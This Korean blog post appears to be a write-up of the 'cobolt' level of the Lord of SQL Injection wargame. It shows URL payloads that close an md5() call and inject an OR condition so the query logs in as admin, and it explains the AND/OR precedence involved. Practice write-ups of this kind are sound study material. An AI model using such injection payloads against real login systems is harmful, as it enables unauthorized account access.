cgy12306
[LOS] cobolt 본문
gremlin과 비슷하지만 pw에 암호화해주는 md5가 걸려있고 조건문에는 id 값이 admin이어야 한다.
일단 값을 입력해보자.
https://los.eagle-jump.org/cobolt_ee003e254d2fe4fa6cc9505f89e44620.php?id=1&pw=1
id안에는 1이 들어가고 pw는 md5안에 1이 들어가게 된다. 아무런 필터링 없이 들어가기 때문에 md5를 닫아 주면 될듯 하다.
https://los.eagle-jump.org/cobolt_ee003e254d2fe4fa6cc9505f89e44620.php?id=admin&pw=') or ('')=('
id는 admin으로 해주고 pw는 md5를 닫아주고 뒤에 or ('')=('를 넣어준다.
나는 rubity라고 한다. admin이 되어야한다.
여기서 고민을 좀 많이 했다.
그냥 md5뒤에 id를 한번더 적어주면 어떨까 하고 적어줘 봤다.
https://los.eagle-jump.org/cobolt_ee003e254d2fe4fa6cc9505f89e44620.php?id=1&pw=') or id='admin' and ('')=('
and 연산자와 or 연산자의 우선순위는 and 먼저 일어나게 된다.
id가 1이고, pw가 md5('') 이거나 id가 admin이고 pw가 ('')=('')이게 된다.
거짓 or 참이기 때문에 결과 값은 참으로 변하게 된다.
Clear!
'Wargame > LOS' 카테고리의 다른 글
[LOS] darkelf (0) | 2019.08.13 |
---|---|
[LOS] wolfman (0) | 2019.08.13 |
[LOS] orc (0) | 2019.08.13 |
[LOS] goblin (0) | 2019.08.13 |
[LOS] gremlin (0) | 2019.08.13 |
Comments